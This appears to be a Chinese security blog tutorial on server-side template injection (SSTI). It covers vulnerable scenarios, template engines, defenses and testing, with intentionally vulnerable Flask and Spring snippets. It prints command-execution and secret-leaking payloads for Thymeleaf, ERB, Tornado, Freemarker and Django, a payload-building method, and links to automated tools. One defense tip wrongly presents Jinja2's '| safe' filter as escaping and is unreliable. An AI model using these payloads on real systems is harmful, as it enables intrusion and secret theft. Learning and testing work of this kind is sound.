SSTI服务端&模版注入&利用分类&语言引擎&数据渲染&项目工具&挖掘思路

Ethan医生2个月前WEB安全84

SSTI(Server-Side Template Injection,服务器端模板注入)是一种安全漏洞,攻击者通过向模板引擎注入恶意代码,在服务器端执行任意指令。以下是 SSTI 的主要使用场景和常见攻击目标:



Web 应用程序(最常见场景)

  • 模板引擎的渲染:许多 Web 框架(如 Flask、Django、Spring、Express 等)使用模板引擎(如 Jinja2、Thymeleaf、Freemarker、Twig 等)动态生成 HTML。如果用户输入直接拼接到模板中,可能触发 SSTI。

    • 示例

      python
      复制
      # Flask (Jinja2) 漏洞示例@app.route('/greet/<name>')def greet(name):
          return render_template_string(f"Hello {name}!")  # 用户可控的 name 参数可能触发 SSTI
  • CMS 和博客系统:如 WordPress 插件、Drupal 模块等,如果使用模板引擎处理用户输入,可能存在风险。


2. 邮件模板系统

  • 某些系统会通过模板生成动态邮件内容(如用户注册确认、密码重置邮件)。如果攻击者能控制模板变量,可能注入恶意代码。

  • 示例

    java
    复制
    // Thymeleaf 漏洞示例(Spring Boot)@GetMapping("/send-email")public String sendEmail(@RequestParam String username) {
        return "Email template: " + username; // 用户输入直接拼接到模板}

3. 报告生成工具

  • 企业应用中,动态生成 PDF/Excel 报告的工具(如 Apache Velocity、Freemarker)可能因拼接用户输入导致 SSTI。


4. 低代码/无代码平台

  • 允许用户自定义模板的平台(如企业内部工作流系统),如果未严格过滤用户输入,可能成为攻击入口。


5. CI/CD 流水线

  • 某些 CI/CD 工具(如 Jenkins、GitLab CI)允许使用模板化配置,攻击者可能通过修改参数注入恶意代码。


易受攻击的模板引擎(按语言分类)

语言/框架模板引擎危险表达式示例
Python (Flask)Jinja2{{ 7*7 }} → 输出 49
Java (Spring)Thymeleaf${T(java.lang.Runtime).getRuntime().exec('calc')}
PHPTwig{{ _self.env.set("FOO","BAR") }}
JavaScriptEJS / Pug (Jade)<%= 7*7 %>
RubyERB<%= 7*7 %>

如何防御 SSTI?

  1. 避免直接拼接用户输入:使用安全的模板变量转义机制(如 Jinja2 的 | safe 过滤器)。

  2. 沙箱环境:限制模板引擎的访问权限(如禁用敏感函数)。

  3. 输入验证:严格过滤用户输入的模板语法符号(如 {{ }}<% %>)。

  4. 最小化模板引擎功能:禁用不必要的特性(如 Java 的 Class.forName)。




#SSTI测试:

ERB:

<%= exec 'ls -al' %>

 

Tornado

blog-post-author-display=user.name}}{{7*7}}

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('ls%20-al')

 

Freemarker

<#assign test="freemarker.template.utility.Execute"?new()> ${test("ls")}

 

报错提示:

 

Django

{{settings.SECRET_KEY}}

 

#SSTI利用思路:

1、确定模板引擎

改参数看报错

看模板语法

引擎寻找构造

2、构造payload的思路

寻找可用对象(比如字符串、字典,或者已给出的对象)

通过可用对象寻找原生对象(object)

利用原生对象实例化目标对象(比如os)

执行代码

3、如果手工有困难,可用使用TqlmapSSTImap代替

 

#项目:

https://github.com/epinna/tplmap

https://github.com/vladko312/SSTImap

 

#挖掘:

https://forum.butian.net/share/1229


标签: SSTI

相关文章

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

XSS跨站&浏览器UXSS&突变MXSS&Vue&React框架&JQuery库&写法和版本

分类:1、框架或三方库的XSS2、浏览器或插件的XSS3、客户端预览内核的XSS说明:使用框架开发的或第三方库引用操作的,默认安全写法会自带过滤,所以测试此类的应用需存在漏洞版本或不安全写法导致XSS...

Web攻防-业务逻辑篇&购买支付&篡改属性值&算法溢出&签约并发&四舍五入法&订单对冲

#支付逻辑常见测试:1、熟悉常见支付流程选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付2、熟悉那些数据篡改商品ID,购买价格,购买数量,订单属性,折扣属性,支付方式,支付状态...

JAVA攻防-常规漏洞&SQL注入四类型&XXE引用点&RCE原生&框架URL跳转&URL处理类

JAVA攻防-常规漏洞&SQL注入四类型&XXE引用点&RCE原生&框架URL跳转&URL处理类

➢ Java攻防-常规漏洞-注入&RCE&XXE➢ Java攻防-常规漏洞-跳转&SSRF&FILE#相关靶场:https://github.com...

JAVA攻防-反序列化利用&JNDI注入&高版本绕过&依赖Jar包&gadge包链&自动Bypass

JAVA攻防-反序列化利用&JNDI注入&高版本绕过&依赖Jar包&gadge包链&自动Bypass

➢ Java攻防-JNDI注入-高版本的绕过Bypass#高版本JNDI绕过技术参考:https://tttang.com/archive/1405/RMI限制:com.sun.jndi.r...

文件包含&LFI&RFI&伪协议条件&编码算法&无文件利用&JAVA应用&SRC复盘

文件包含&LFI&RFI&伪协议条件&编码算法&无文件利用&JAVA应用&SRC复盘

1、原理程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。